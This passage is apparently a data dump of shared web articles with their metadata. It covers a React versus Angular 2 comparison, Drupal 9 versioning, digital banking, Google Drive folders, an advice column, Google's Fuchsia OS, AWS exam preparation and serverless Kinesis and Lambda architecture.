significantly more opinions and functionality out of the box. With React, you typically pull a number of other libraries off the shelf to build a real app. You'll likely want libraries for routing, enforcing unidirectional flows, web API calls, testing, dependency management, and so on. The number of decisions is pretty overwhelming. This is why React has so many starter kits (I've published two ). Angular offers more opinions out of the box, which helps you get started more quickly without feeling intimidated by decisions. This enforced consistency also helps new hires feel at home more quickly and makes switching developers between teams more practical. I admire how the Angular core team has embraced TypeScript, which leads to the next advantage... TypeScript = Clear Path Sure, TypeScript isn't loved by all, but Angular 2's opinionated take on which flavor of JavaScript to use is a big win. React examples across the web are frustratingly inconsistent - it's presented in ES5 and ES6 in roughly equal numbers, and it currently offers three different ways to declare components . This creates confusion for newcomers. (Angular also embraces decorators instead of extends - many would consider this a plus as well). While Angular 2 doesn't require TypeScript, the Angular core team certainly embraces it and defaults to using TypeScript in documentation. This means related examples and open source projects are more likely to feel familiar and consistent. Angular already provides clear examples that show how to utilize the TypeScript compiler . (though admittedly, not everyone is embracing TypeScript yet, but I suspect shortly after launch it'll become the de facto standard). This consistency should help avoid the confusion and decision overload that comes with getting started with React. Reduced Churn 2015 was the year of JavaScript fatigue . Although React itself is expected to be quite stable with version 15 coming soon , React's ecosystem has churned at a rapid pace, particularly around the long list of Flux flavors and routing . So anything you write in React today may feel out of date or require breaking changes in the future if you lean on one of many related libraries. In contrast, Angular 2 is a careful, methodical reinvention of a mature, comprehensive framework. So Angular is less likely to churn in painful ways after release. And as a full framework, when you choose Angular, you can trust a single team to make careful decisions about the future. In React, it's your responsibility to herd a bunch of disparate, fast-moving, open-source libraries into a comprehensive whole that plays well together. It's time-consuming, frustrating, and a never-ending job. Broad Tooling Support As you'll see below, I consider React's JSX a big win. However, you need to select tooling that supports JSX. React has become so popular that tooling support is rarely a problem today, but new tooling such as IDEs and linters are unlikely to support JSX on day one. Angular 2's templates store markup in a string or in separate HTML files, so it doesn't require special tooling support (though it appears tooling to intelligently parse Angular's string templates is on the way). Web Component Friendly Angular 2's design embraces the web component's standard. Sheesh, I'm embarrassed I forgot to mention this initially - I recently published a course on web components ! In short, the components that you build in Angular 2 should be much easier to convert into plain, native web components than React's components. Sure, browser support is still weak , but this could be a big win in the long-term. Angular's approach comes with its own set of gotchas, which is a good segue for discussing React's advantages... React Advantages Alright, let's consider what sets React apart. JSX JSX is an HTML-like syntax that compiles down to JavaScript. Markup and code are composed in the same file. This means code completion gives you a hand as you type references to your component's functions and variables. In contrast, Angular's string-based templates come with the usual downsides: No code coloring in many editors, limited code completion support, and run-time failures. You'd normally expect poor error messaging as well, but the Angular team created their own HTML parser to fix that . (Bravo!) If you don't like Angular string-based templates, you can move the templates to a separate file, but then you're back to what I call ""the old days:"" wiring the two files together in your head, with no code completion support or compile-time checking to assist. That doesn't seem like a big deal until you've enjoyed life in React. Composing components in a single compile-time checked file is one of the big reasons JSX is so special. For more on why JSX is such a big win, see JSX: The Other Side of the Coin . React Fails Fast and Explicitly When you make a typo in React's JSX, it won't compile. That's a beautiful thing. It means you know immediately exactly which line has an error. It tells you immediately when you forget to close a tag or reference a property that doesn't exist. In fact, the JSX compiler specifies the line number where the typo occurred . This behavior radically speeds development. In contrast, when you mistype a variable reference in Angular 2, nothing happens at all. Angular 2 fails quietly at run time instead of compile-time . It fails slowly . I load the app and wonder why my data isn't displaying. Not fun. React is JavaScript-Centric Here it is. This is the fundamental difference between React and Angular. Unfortunately, Angular 2 remains HTML-centric rather than JavaScript-centric . Angular 2 failed to solve its most fundamental design problem: Angular 2 continues to put ""JS"" into HTML. React puts ""HTML"" into JS. I can't emphasize the impact of this schism enough. It fundamentally impacts the development experience. Angular's HTML-centric design remains its greatest weakness. As I cover in "" JSX: The Other Side of the Coin "", JavaScript is far more powerful than HTML. Thus, it's more logical to enhance JavaScript to support markup than to enhance HTML to support logic . HTML and JavaScript need to be glued together somehow, and React's JavaScript-centric approach is fundamentally superior to Angular, Ember, and Knockout's HTML-centric approach. Here's why... React's JavaScript-centric design = simplicity Angular 2 continues Angular 1's approach of trying to make HTML more powerful. So you have to utilize Angular 2's unique syntax for simple tasks like looping and conditionals. For example, Angular 2 offers both one and two way binding via two syntaxes that are unfortunately quite different: In React, binding markup doesn't change based on this decision (it's handled elsewhere, as I'd argue it should be). In either case, it looks like this: Angular 2 supports inline master templates using this syntax: The above snippet loops over an array of heroes. I have multiple concerns: Declaring a ""master template"" via a preceeding asterisk is cryptic. The pound sign in front of hero declares a local template variable. This key concept looks like needless noise (if preferred, you can use `var`). The ngFor adds looping semantics to HTML via an Angular-specific attribute. Contrast Angular 2's syntax above with React's pure JS*: (admittedly the key property below is React-specific) Since JS supports looping natively, React's JSX can simply leverage all the power of JS for such things and do much more with map, filter, etc. Just read the Angular 2 Cheat Sheet . That's not HTML. That's not JavaScript. It's . To read Angular: Learn a long list of Angular-specific syntax. To read React: Learn JavaScript. React is unique in its syntactic and conceptual simplicity. Consider iterating in today's popular JS frameworks/libraries: All except React use framework specific replacements for something that is native and trivial in JavaScript: a loop . That's the beauty of React. It embraces the power of JavaScript to handle markup, so no odd new syntax is required. Angular 2's syntactic oddities continue with click binding: In contrast, React again uses plain 'ol JavaScript: And since React includes a synthetic event system (as does Angular 2), you don't have to worry about the performance implications of declaring event handlers inline like this. Why fill your head with a framework's unique syntax if you don't have to? Why not simply embrace the power of JS? Luxurious Development Experience JSX's code completion support, compile-time checks, and rich error messaging already create an excellent development experience that saves both typing and time. But combine all that with hot reloading with time travel and you have a rapid development experience like no other. Size Concerns Here's the sizes of some popular frameworks and libraries, minified ( source ): Edit : Sorry, I had incorrect numbers earlier that were for simple ToDoMVC apps instead of the raw frameworks. Also, the Angular 2 number is expected to drop for the final release. The sizes listed are for the framework, minified, in the browser (no gzip is factored in here). To make a real comparison, I built Angular 2's Tour of Heroes app in both Angular 2 and React (I used the new React Slingshot starter kit). The result? So Angular 2 is currently over four times the size of a React + Redux app of comparable simplicity . (Again, Angular 2 is expected to lose some weight before the final release). Now that said, I admit that concerns about the size of frameworks may be overblown: Large apps tend to have a minimum of several hundred kilobytes of code - often more - whether they're built with a framework or not. Developers need abstractions to build complex software, and whether they come from a framework or are hand-written, they negatively impact the performance of apps. Even if you were to eliminate frameworks entirely, many apps would still have hundreds of kilobytes of JavaScript. - Tom Dale in JavaScript Frameworks and Mobile Performance Tom is right. Frameworks like Angular and Ember are bigger because they offer many more features out of the box. However, my concern is this: many apps don't need everything these large frameworks put in the box. In a world that's increasingly embracing microservices, microapps, and single-responsibility packages , React gives you the power to ""right-size"" your application by carefully selecting only what is necessary . In a world with over 200,000 npm modules , that's a powerful place to be. React is a library. It's precisely the opposite philosophy of large, comprehensive frameworks like Angular and Ember. So when you select React, you're free to choose modern best-of-breed libraries that solve your problem best. JavaScript moves fast, and React allows you to swap out small pieces of your application for better libraries instead of waiting around and hoping your framework will innovate. Unix has stood the test of time. Here's why: The philosophy of small, composable, single-purpose tools never goes out of style. React is a focused, composable, single-purpose tool used by many of the largest websites in the world . That bodes well for its future (That said, Angular is used by many big names too). Showdown Summary Angular 2 is a huge improvement over version 1. The new component model is simpler to grasp than v1's directives, it supports isomorphic/universal rendering, and it uses a virtual DOM offering 3-10x improvements in performance. These changes make Angular 2 very competitive with React. There's no denying that its full-featured, opinionated nature offers some clear benefits by reducing ""JavaScript fatigue"". However, Angular 2's size and syntax give me pause. Angular's commitment to HTML-centric design makes it complex compared to React's simpler JavaScript-centric model. In React, you don't learn framework-specific HTML shims like ngWhatever. You spend your time writing plain 'ol JavaScript. That's the future I believe in.",en
1471013446,CONTENT SHARED,-2178100133349972724,3609194402293569455,1058720988352130999,,,,HTML,http://hojtsy.hu/blog/2016-aug-09/there-will-be-drupal-9-and-here-why,"There will be a Drupal 9, and here is why","Earlier this week Steve Burge posted the intriguingly titled There Will Never be a Drupal 9 . While that sure makes you click on the article, it is not quite true. Drupal 8.0.0 made several big changes but among the biggest is the adoption of semantic versioning with scheduled releases . Scheduled releases were decided to happen around twice a year. And indeed, Drupal 8.1.0 was released on time, Drupal 8.2.0 is in beta and Drupal 8.3.x is already open for development and got some changes committed that Drupal 8.2.x will never have. So this works pretty well so far. As for semantic versioning, that is not a Drupalism either, see . It basically means that we have three levels of version numbers now with clearly defined roles. We increment the last number when we make backwards compatible bug fixes. We increment the middle number when we add new functionality in a backwards compatible way. We did that with 8.1.0 and are about to do it with 8.2.0 later this year. And we would increment the first number (go from 8.x.x to 9.0.0) when we make backwards incompatible changes. So long as you are on some version of Drupal 8, things need to be backwards compatible, so we can just add new things. This still allows us to modernize APIs by extending an old one in a backwards compatible way or introducing a new modern API alongside an old one and deprecate (but not remove!) the old one. This means that after a while there may be multiple parallel APIs to send emails, create routes, migrate content, expose web services and so on, and it will be an increasingly bigger mess. There must be a balance between increasing that mess in the interest of backwards compatibility and cleaning it up to make developer's lives easier, software faster, tests easier to write and faster to run and so on. Given that the new APIs deprecate the old ones, developers are informed about upcoming changes ahead of time, and should have plenty of time to adapt their modules, themes, distributions. There may even be changes that are not possible in Drupal 8 with parallel APIs, but we don't yet have an example of that. After that Drupal 9 could just be about removing the bad old ways and keeping the good new ways of doing things and the first Drupal 9 release could be the same as the last Drupal 8 release with the cruft removed. What would make you move to Drupal 9 then? Well, new Drupal 8 improvements would stop happening and Drupal 9.1 will have new features again. While this is not a policy set in stone, Dries Buytaert had this to say about the topic right after his DrupalCon Barcelona keynote in the Q&A almost a year ago: Read more about and discuss when Drupal 9 may be open at",en
1471023044,CONTENT SHARED,-4552546534914807304,7580644064067188685,3082826997676820925,,,,HTML,https://manage.kmail-lists.com/subscriptions/web-view?c=xMia3g&r=4RdpB7Z&m=shXyHD&k=cf7633fa489cda303498dcd7f2dd64b4,Invisible Banking,"Disrupter banks are emerging that are entirely digital, with lower transaction costs and fees, greater effort placed on user experience, social components, and so on. Yet, they still fall prey to the old paradigm. You have really cool user acquisition vehicles...that still ride on the same old rusty rails of the traditional banking system. Change is coming. What are the implications, for example, of the sovereign digital currency? The UK, notwithstanding its suicidal Brexit vote, continues to press forward on financial innovation. ""Britcoin"" would be a boon to consumers through reduced costs for transacting with pounds sterling. Guess where those costs are getting taken out? Today, retail banks rely on cheap money (deposits), that they then use for other purposes to make margin. In a world of Britcoin, that spread goes away. The new digital models can run with 20% of the capex and 50% of the operating costs versus traditional IT infrastructure, at about 15-25% of the headcount. Trying to adapt an existing bank infrastructure to progressively eliminate 80% of its workforce (and needing a different 20% for the remaining piece) is a Sisyphean task that is perhaps doomed for failure. At best, bank executives can hope for a really painful transition. And in thinking this way, we're still trapped in the old model. Very few financial providers are not only ""mobile first"" but actually ""integrated into my life, and using latest-generation data management systems."" What if, instead of ""my bank account"" or ""my bank"" being a discrete activity, financial services were just part of other services that I use every day, like my mobile phone service or my communications / social media platforms? The key is having customer-centric data across all areas of life, held in standard format with standard APIs that work across the entire digital ecosystem and not just its financial services/products corner (sort of like a universal personal data store or PDS, but you don't own/manage it...they do). Using this central, panoptic data, a company like WeChat/Sesame (or Alibaba or AT&T or Verizon or Telefonica or MTN or Amazon or Google or Samsung or...) can integrate services from the whole range of life opportunities (entertainment, work, finance, family, etc.) in a seamless and consistent manner. I note with interest that the CEO of a division of Barclays Africa recently left to go work at a major telecommunications company. Extending even further into the future, what if global data systems were totally decentralized and trusted, with a universal, personally controlled digital identity? In this world, you control your information, not some central provider, and you decide what's released or shared - and you have an ""undo"" button for your data. All sorts of services could spring off this architecture, including seamless and universal financial access, bringing 2.5 billion unbanked people the benefits of commerce. It's not science fiction: the U.N. has set a goal of getting everyone digital access by 2030 (via universal ID) and our group at MIT is developing recommendations around a common approach (more on that in a future column). What if banking were truly invisible?",en
1471043909,CONTENT SHARED,-7004749589391210034,-5527145562136413747,6801193748118522320,,,,HTML,http://www.labnol.org/internet/add-files-multiple-drive-folders/28715/,Add the Same File to Multiple Folders in Google Drive without Copying,"Learn how to place a Google Drive file or folder into multiple folders simultaneously. This prevents you from creating duplicate copies of the files in Google Drive. Gmail works around the concept of tags (or labels) and any email message can belong to one or more tags. Google Drive has folders instead of tags and thus any file or folder in Drive can have a single parent folder. For instance, if you have uploaded a presentation file in Folder-A, it can't simultaneously exist in Folder-B. Right? Well, you'll will be surprised to know that Google Drive does allow you to place any file inside one or more folders without you having to create multiple copies of that file. This makes Drive organization easier and if you edit the file inside one folder, all the other instances are updated as well since they are essentially pointing to the same file. How to Add a File to Multiple Folders in Google Drive Here's how you can place existing files or folders inside different multiple folders on Google Drive without making copies of the file. Open the Google Drive website in your desktop's web browser and select one or more files or folders. You can use the Control key on Windows, or Command key on Mac, to select non-consecutive files and folders. Now press Shift + Z and you'll see an ""Add to Folder"" pop-up (see screenshot). Next select the folder where you wish to add the selected files and click OK. That's it. You have neither copied nor moved the files to the destination folder, you've merely created references or aliases to files inside the other folder. You can use the Shift+Z keyboard shortcut again to add the selected files to any other folders in your Google Drive. This little feature will come handy in several cases. For instance, if you have a folder of pictures inside Google Drive, you can use Shift+Z to place some of these pictures into another shared folder. You need not create duplicate files in your Drive ( saving storage space ) and if you remove a picture from the parent folder, the file is gone from other folders too. Also see: How to Replace Shared Files in Google Drive Remove Files Placed in Multiple Folders Let's say you have a Folder B that contains references to a file placed in Folder A. If you move the Folder B to trash or if you remove the file from Folder B, the original file is deleted from the original Folder A as well. In such cases you may need to remove the placed file from Folder B before deleting the folder. In Google Drive, select the file that is placed in multiple folders and open the activity sidebar. Here you'll see a list of all folder that the file belongs to. All you need to do is click the little [x] symbol to remove that file from any folder in the list. Add Files to Multiple Folders with Code If you know Google Scripts , you can place a file or folder current folder into multiple folders using the Drive API as show below. [H/t David Scotts]",en
1471046729,CONTENT SHARED,4109366816886873672,-5527145562136413747,-1553046963570909163,,,,HTML,http://www.thestranger.com/slog/2016/06/14/24214700/savage-love-letter-of-the-day-get-out-there-and-fight,Savage Love Letter of the Day: Get Out There and Fight,"Hello Dan Savage. My name is Peter and I've been a longtime fan of your podcast and comments in the media. I've also been very involved with the Human Rights Campaign and their work to getting the Equality Act passed. I'm 21 and only recently out of the closet. I opened up about my sexuality after the passage of marriage equality last June, and have since then been a very proud gay man. It seemed that since marriage equality, our community was only going up. Even the passage of HB2 didn't make me cynical about the future that lies ahead of myself as a gay man. But this recent shooting has changed my world completely. Fighting for equality in housing, education, and employment seems like a joke after this massive act of violence occurred. Anyway, don't know how to respond to this and I'm looking for someone in the community for guidance. Any would be appreciated. They don't win - the haters don't win - when they chase us, beat us, or kill us. They win when we stop fighting. Please don't stop fighting. And please don't despair. Hundreds of thousands of us died in the 80s and 90s when hate, fear, greed, racism, and negligence intersected with a deadly virus. A lot of us then felt they way you do now - that it was over, that it was hopeless, that the coming out and the organizing and the fighting had been for nothing, and that everything we had won up to that point was meaningless. And then we got up off our butts and we showed them - we showed those motherfuckers - that the fight in us was greater than the hate in them. We showed them that we were stronger and smarter than they were, we showed that fucking virus that we were stronger and smarter than it was, and we made it clear to them that we were not going to shut up and die quietly or go back into the closet and die alone. And we only had each other for a while there - for a long while. For years we fought alone. Look at who is on our side today - all good and decent people. The President of the United States. The Democratic nominee. A majority of the American public. Look at the rallies, look at the vigils, look at the outpouring of love, sympathy, and support. Don't look at the killer. Don't look at the haters. Don't look at the vile comments left by shit people on Twitter and Facebook. Look at the good. Look at the love. Look at the good and loving people inside and outside the LGBT community and take strength from their love and support. Then get out there and fight.",en
1471083510,CONTENT SHARED,5183878957903248326,-1443636648652872475,-6805358271374498122,,,,HTML,http://thenextweb.com/google/2016/08/13/google-is-secretly-creating-a-new-os-thats-not-based-on-linux/,Google is secretly creating a new OS that's not based on Linux,"Here's a bit of unexpected Friday news: Google is building a completely new operating system. As in, not just an upgrade to Android or Chrome OS, but instead, a new system that's not derived from the Linux kernel. It's called Fuschia. While Google hasn't officially announced anything about the OS, it released details about the project on GitHub with the cryptic description ""Pink + Purple == Fuschia (a new Operating System)."" Android Police dove deeper into the documentation and found some interesting tidbits. First off, the OS uses a new Magenta kernel , which is designed to compete with IoT-oriented operating systems like FreeRTOS or ThreadX. The difference here is that Magenta appears designed to scale all the way up to smartphones and desktop computers. Meanwhile, Dart is the main programming language and Flutter support indicates that the OS will likely use Material Design for its user interface. That doesn't necessarily indicate Google has plans for Fuschia beyond IoT devices; with the company creating more IoT hardware like OnHub and Google Home, it might simply want a lighter OS that can work for any future hardware products. Still, the ability to scale up remains exciting, especially as the line between Android and ChromeOS becomes increasingly blurred. As for why Google has remained so quiet about the OS so far: Brian Swetland - a senior Engineer at Google who has worked on Android and the T-mobile Sidekick's OS - mentions that the decision was made to build the OS open source from the beginning, implying that some details are yet to be finalized. Eventually things will be made public, documented and announced, says Christopher Lane, another engineer at Google. Until then, we can only speculate. Napier Lopez is a writer based in New York City. He's interested in all things tech, science, and photography related, and likes to yo-yo in his free time. Follow him on Twitter or his blog .",en
1471198682,CONTENT SHARED,-2860224288374811338,3302556033962996625,7784742352268642585,,,,HTML,https://hydrasit.com/passed-aws-solutions-architect-professional-exam/,How I Passed the AWS Solutions Architect Professional Exam,"I'm pleased to say that in the last couple of months I have passed both the AWS Solutions Architect Professional and the AWS DevOps Professional exams meaning that (at this point in time) I hold all five of the AWS exams. To help others achieve what I have I've decided to put together a couple of blog posts which will cover the methods I've used to pass each of these exams. This post will cover the AWS Solutions Architect Professional Exam and part 2 will cover the AWS DevOps Professional exam. I think it's important to understand a little bit about my background in AWS before reading on as I think prior experience with this and IT in general helps with these exams a lot. My prior experience really dictated the methods and materials I used to pass these exams. I have been working with AWS since around 2011. In those days it was more of a hobby which I envisaged would grow. In 2012 I performed my first customer roll-out based on EC2 with a fair amount of autoscaling and s3 synchronisation. Since then I've performed many more customer rollouts utilising most of the ""core"" AWS components (Ec2/VPC/S3/IAM/RDS/SNS/SES/Cloudfront/Cloudwatch/Cloudformation) and in most cases these systems have been fully automated using Cloudformation. In addition to the above I try to read all of the whitepapers and blogs that AWS releases and I endeavour to attend any of the learning events that Amazon puts on. I've regularly attended the London loft, been to the last three London Summits, attended the last Re:Invent (and watched videos from most of the others) and I also co-run the AWS Cambridge User Group in the UK. So I guess I'd class myself as an AWS geek. I believe having this level of knowledge can really help with your preparation for the professional exams as you will struggle with book knowledge alone (unlike the associate exams). I'd say you'd have needed to have worked with AWS for at least a year or so on most of the core services and have a working knowledge of the others to stand a chance with this exam. It really isn't for beginners unless you've got a great memory for detail. At the time of writing the exam is 77-80 questions to be answered over 170 minutes. Your best bet is to allow only 2mins per question with the remaining 10mins for checking over your answers and/or a small contingency. The questions are 90% scenario based with often several paragraphs of writing to read. More often than not several of the answers could be correct with one being ""more"" correct than the others. Based on the above I found this exam to largely be about exam strategy as trying to read a scenario based question, comprehend it and read the (quite often) long answers can take half your time. Meaning that you only have a very short time to answer the actual question. So time is going to be your main enemy. Therefore I'd recommend the following which I found worked for me; Skip to the actual sentence that asks the question first. What I mean by this is that often the long scenario has lots of pointless background when the actual pertinent question is the last one. If you read the actual question sentence first you may be able to answer the question without reading the whole scenario (or skim reading it). Following on from the above ensure you understand what the question is asking (i.e. is it a cost/performance/speed/etc question). This is important because quite often it's easier to answer a question based on your own experiences (or even a best practice) and not what the question is actually asking. IE when asked about cost & storage immediately think S3/Glacier etc If you don't understand or are taking too long for a question, mark it as one to come back to and move on. Don't hang about. Remember you have 80 questions so it's going to be a numbers game. If you get hung up on one question you'll lose time and potentially panic on later questions. I only mark questions if I really have no clue of the answer. In the cases where I thought I'd picked correct but wasn't 100% I don't mark. Reason being is that I always assume that If I didn't know it then I won't at the end of the exam and the likelihood is I'll change it to the incorrect answer simply because I have the time to. This is a personal thing but I think your first instinct is usually the best If you struggle with comprehension or English isn't your native language then practice using the practice exams or the sample questions as much as possible until you can read/understand/answer quickly ( NB: I found the real exam to be much better worded than the practice one). Spot check your time periodically. I did this every 10 questions to ensure I was running to time. Don't do it after every question because quite often, if you do lose time, you can pull it back at a later point. So simply go into the exam knowing that after 10 questions you should still have 2hours 30mins left, after 20 questions 2hours 10mins etc Practice on staying focused. Keeping attentive for 3 hours solid can be hard. I used ear plugs (my exams were taken in London and there was a lot of outside noise going on), had a strong coffee beforehand and ensured I went to the bathroom immediately before the exam (I really struggle to hold for three hours so this was an essential for me!). Bear in mind if you do a practice exam the real is double what you've just been through. I remember being really bored after about 50 questions so really had to focus for the last 30! I also always book my exams for mid-morning, when I feel most alert and not in the afternoon, if I can help it, as I concentrate less towards the end of the day. I won't actually dwell on the content too much because I believe that the content will change over time and this blog will quickly go out of date. However both Adrian Cantrill's and Nick Triantafillou's blog posts at the time of writing were pretty accurate for me. In addition the Solutions Architect Professional course at acloud.guru was great at summarising the course content (see below) and is kept up to date by the team so is always relatively current. However in summary I'd say that in addition to the raw book knowledge you need to understand how the services fit together into different architectural models. So read as many AWS case studies as you can, study the blogs and play around yourself by opening a free AWS account. In terms of my study methods and the materials I used to help me pass this exam I always like to test my pre-study knowledge so I tried the sample questions and the practice exam. I always do this because I use it as a means of identifying where I'm weak and where I need to study. Given that I use AWS a lot I was hopeful I wasn't weak in too many areas! I failed the practice exam with 40% and wasn't confident with the practice questions either. Given this I took the following actions: Downloaded the exam blueprint , took note of everything I should know and read all of the white papers. I found the ""Storage Options in the Cloud"" the best of the white papers, particularly in terms of content that featured in my exam. Having a full understanding of the content in this paper really helped Purchased the acloud.guru AWS Solutions Architect Professional course. This course alone will not get you through the exam, however Ryan, the author, does a superb job at condensing all of the material you need to know down into the salient points for you to then revise. If you watch this course a couple of times and go and read all of the points he raises this will put you in a great position. What's more the course is regularly updated based on exam feedback from students and questions added so it really is a good source of information Read the FAQ's and user guides on the AWS website for all those areas I thought I was weak in. In terms of the user guides I focussed on those subjects where I was weak and focussed on the items highlighted in the acloud.guru course Used the AWS console and CLI to perform a few of the walkthroughs from the user guides to cement my understanding In addition to the above you could use the AWS Youtube Channel 300/400 series videos (go to the link>select the last re:invent video playlist>choose a topic>choose a video with a 300 or 400 number). I watch these videos a lot as part of my everyday job so didn't use them in the course of my revision for this exam but if you haven't used them they are sometimes better than reading! After completing my revision I re-took the practice exam and......failed again with 60%. This was a big improvement and from what I'd read on forums and discussed with other people who'd took the exam l'd likely get at least 10% higher than the practice exam (mainly I think due to its poor wording and spelling errors). With this in mind I booked the real exam for the next week, went through a couple of the acloud.guru course chapters and passed with 75% with 15 minutes to spare. I was really happy to have passed this exam given that I'd failed the practice exams. Looking back I certainly found this the hardest of the five purely due to the large amount of content in it and it really is a large step up from the associate exams. For those attempting this exam here are my final tips: Practice your timing and exam strategy. Use the practice exam and ensure you can get through it without time constraints. Ensure you have a working knowledge of all of the services provided in the blueprint. Its not enough just to know how the services work and what they do but understand how they fit together. This exam is about application of knowledge rather than raw facts. Take the acloud.guru course. It really does help condense what you need to know down into the salient points. Then go and revise them Allow enough time for revision. If cloud isn't your main job give yourself time to get a working knowledge of the components and then more to revise and understand them. My prep time was 2 weeks but I work with AWS a lot. Read, read, practice, practice, practice Good luck! I'd love to hear how you get on. About Hydras Hydras are a team of cloud consulting experts that excel in architecting and operating secure, automated cloud based solutions built on Amazon Web Services (AWS) with a particular focus on web and mobile. Contact us for help with your AWS projects. We'd love to work with you.",en
1471199125,CONTENT SHARED,2025471325746532174,-89388927330481219,-3565955817312022467,,,,HTML,http://blog.octo.com/en/serverless-real-time-architecture-on-aws-there-is-a-way/,Serverless real-time architecture on AWS: there is a way !,"Tired of using EC2 instance, creating your infrastructure, instantiating as many node as possible to handle the amount of data? Good news! it is now possible to get rid of these servers and focus only on the code. Pretty nice, isn't it? To illustrate this topic, this article is dedicated to a real-time ""serverless"" platform. Let's dive into it! Kinesis: the cloud has its message queue The core feature of Kinesis is its streams. Streams can be considered as the equivalent of topics in Kafka. Amazon Kinesis Stream is a platform devoted to collect and process records in real-time. If you are familiar with Kafka, it refers to the same concept, the only difference lies in the terms you use. You can consider Kinesis as a messages queue for high message throughput Each stream is separated into which are a ""uniquely identified group of data records in a stream"" (one feature is the simulation/indication of how many tuples you can handle by modifying the number of shards) There are different kinds of ""Kinesis"" : Kinesis Firehose - To load your data into S3 or Redshift Kinesis Streams - To perform custom processing The one we are interested in is Kinesis Stream because we want to manipulate the platform features at a deeper level. For those who know how distributed messages queue works, the core feature is the high volume of messages handled by the platform. Kinesis is supposed to be able to handle 1MB/sec data input and 2MB/sec data output by shard. What does it mean? Regarding real-time Big-Data platform, you usually have to deal with millions to billions messages per second. The first question arising is: Is Kinesis able to handle this amount of data? Let's admit the average record size is 65Kb and the maximum records written per second is about 1,000,000. With this amount of data AWS recommend to instantiate 97,500 shards knowing that the service is limited to 50 (unless you contact them).97,500 shards or threads seem really high even if the platform is able to handle this amount. If you are interacting directly with a consumer or/and a producer on an EC2 server, you would have to size your server with enough resources to deal with this amount of threads. In other words, if you want to handle large amount of events, it seems compromised. However, if you have the necessity to change the number of shards after creating a Kinesis instance, you can do so without re-creating the stream. Yet, it would be great if the resizing was done automatically. How does it work ? As a distributed message queue, you need a consumer and a producer to interact with Kinesis. The producer purpose is to inject inside the streams records (of any type) and the consumer purpose is to retrieve records from the streams. There is no intelligence behind it. It works as a queue and allows to handle high volume in records without failure and with high availability guarantee. Indeed, Kinesis does not lose records, it replicates over its nodes the data it needs to keep. Everything is done automatically, we do not have access to the infrastructure and even less to the replication factor. : Easy to manipulate, enables fault-tolerant consumption, simple data analysis and reporting in real time. Advantages Drawbacks : Still important issues need to be fixed: record skipped while being consumed, records belonging to the same shard processed by the same consumer at the same time, consumer applications not reading the latest data from the stream. Time to create your first stream When you create your stream for the first time, there are a few things to know: Create a role with every necessary rights for CloudWatch and . CloudWatch will monitor you events and insert logs coming from Kinesis Dynamodb will store ""states"" (offset to keep track of what record is within the stream if one fails) Described below the interface to create your first stream: Once you click the create button, you get a Kinesis Stream up and running. It is now time to process data! When the words ""message queue"" and ""real-time"" occur, usually, what comes next is the real-time framework combined with the data flow. Kinesis can be used by real-time frameworks such as Storm or Spark Streaming. However our goal here is to create a full AWS real-time stack. And this can be done by ""AWS Lambda"". What is lambda? Lambda is a compute service where you can upload a ""Lambda function"". A Lambda function needs to be implemented in order to be executed as any regular code (Java, Python, NodeJS) reacting to an AWS Events.By doing so, you will not have to worry about any infrastructure or managing the servers, and you will pay just regarding the amount of CPUs used. In other words, you can forget about EC2 and just deal with your code. Here is an example of Lambda Function: In our case, what matters here is the ability to connect easily Kinesis to a Lambda function. Lambda can behave as an event-driven compute service, such as new data getting into Kinesis. Therefore, a Lambda function can act as a consumer. The perks of using a Lambda are the high availability, provisioning and automatic scaling. However, when you consume data from Kinesis and the connection is severed, you may encounter data loss. A fault-tolerant mechanism needs to be design to prevent any risks. Advantages : Useful to just handle the code without worrying about the infrastructures, services easy to handle, offer multiple languages (Java, Python, NodeJS). : Lack of flexibility when performing multi-threading applications (no access to workers-JVM), Drawbacks limited in terms of resources allocation , 5 minutes timeout... Going deeper into Lambda To implement a lambda, you need to implement a function call a ""handler"" and attach a role to it (so it can interact with DynamoDB and Kinesis for instance). One way to code your own function is to use a regular IDE with the appropriate SDK. Once your code is ready, you just have to package it and upload it on the Lambda service. FYI: if your package weighs over 10Mb you will have to use S3 to launch you code. When the code is uploaded, the link between Kinesis has to be set. An easy way to do it is to select as source the type of resources you want. In our case, it would be ""Kinesis"" and it will automatically detect your stream (mind that your resources need to be in the same region). A major aspect of coding is testing, you should obviously not deploy a code in production without testing it. Indeed, with lambda you can easily test your code by using the ""test"" interface. However, it is limited if you want to test several Lambda in parallel and AWS does not provide tools to automate the deployment and test everything in an automated way. One answer could be to use common tools, for instance if your code is written in Java, such as JUnit, Cucumber or FitNesse. Then, package everything as a ""normal"" application and perform your tests in local before deploying the code on AWS. In this state the lambda function is always listening to Kinesis, you can let your resources launched because you will only pay for the amount of resources used. Which is pretty nice. You can now conceive that the major perks of using Kinesis + Lambda are definitely better in terms of cost compared to EC2 instances with Kafka + Storm/Spark cluster or with Kinesis as well. Described below how you can use Kinesis with EC2 instances: Last missing part of our design is the storage system because as every real-time processing architecture, the data need to be stored somewhere and this is achieved through Amazon NoSQL database: DynamoDB. DynamoDB: the fully managed NoSQL database service Be aware that good documentation about DynamoDB is hard to find. You will find piece of codes here and there to create your own application. However once you are familiar with AWS it is not that difficult (in AWS: credentials are the key, once everything is well configured coding skills are all that matters). By instantiating the right object in our lambda, creating the right table in DynamoDB and making all the right links, the only thing left to do is to run a producer which will inject the records into Kinesis. Then our lambda function will consume the data to let them end up in Dynamodb. Process events triggered by DynamoDB As every NoSql database DynamoDB enables to store large amount of data. However, one cool feature is DynamoDB Stream. DynamoDB Stream enables to get every event generated by DynamoDB (insert, delete, type of events etc...).All necessary monitoring informations can be found in CloudWatch. Indeed, DynamoDB is directly plugged to this cloud monitoring services but if you want to go further and perform your own analysis Dynamo Stream allows to extract all necessary informations. DynamoDB Stream is based on Kinesis, as a layer on top of DynamoDB with the same API, so it is easy to adapt your code from a Kinesis app to a DynamoDB Stream one. We now have Kinesis + Lambda + Dynamodb able to handle a high volume of records at a minimum cost in the cloud. We tested as well if Lambda could store directly to S3. The answer is yes: the same principle applies as for DynamoDB except that instead of inserting into Dynamo, an S3 bucket is used. Advantages : Triggered associated with DynamoDB The whole picture As a result, it is seducing to be able to easily create a real-time platform without worrying about infrastructure, provisioning, automatic scaling, high availability or OS maintenance. Nevertheless, real-time platform does not mean Big Data real-time platform. If you want to digest millions of messages per second you will probably encounter latency issues, bottlenecks, etc... Nonetheless, It would be interesting to see how the architecture would react by analysing each components: Capacity for Kinesis Streams to be consumed Amount of resources used by Lambda Performance of DynamoDB to handle reads and writes At this stage of maturity, it would be not wise to consider this stack as a Big Data platform. The risks of too many errors occurring would be too high and the design would have to be twisted. What about data aggregation? Yet, this is the main issue here. How do we store data that need to be aggregated? There is no magic answer : You can trick the lambda function by creating an 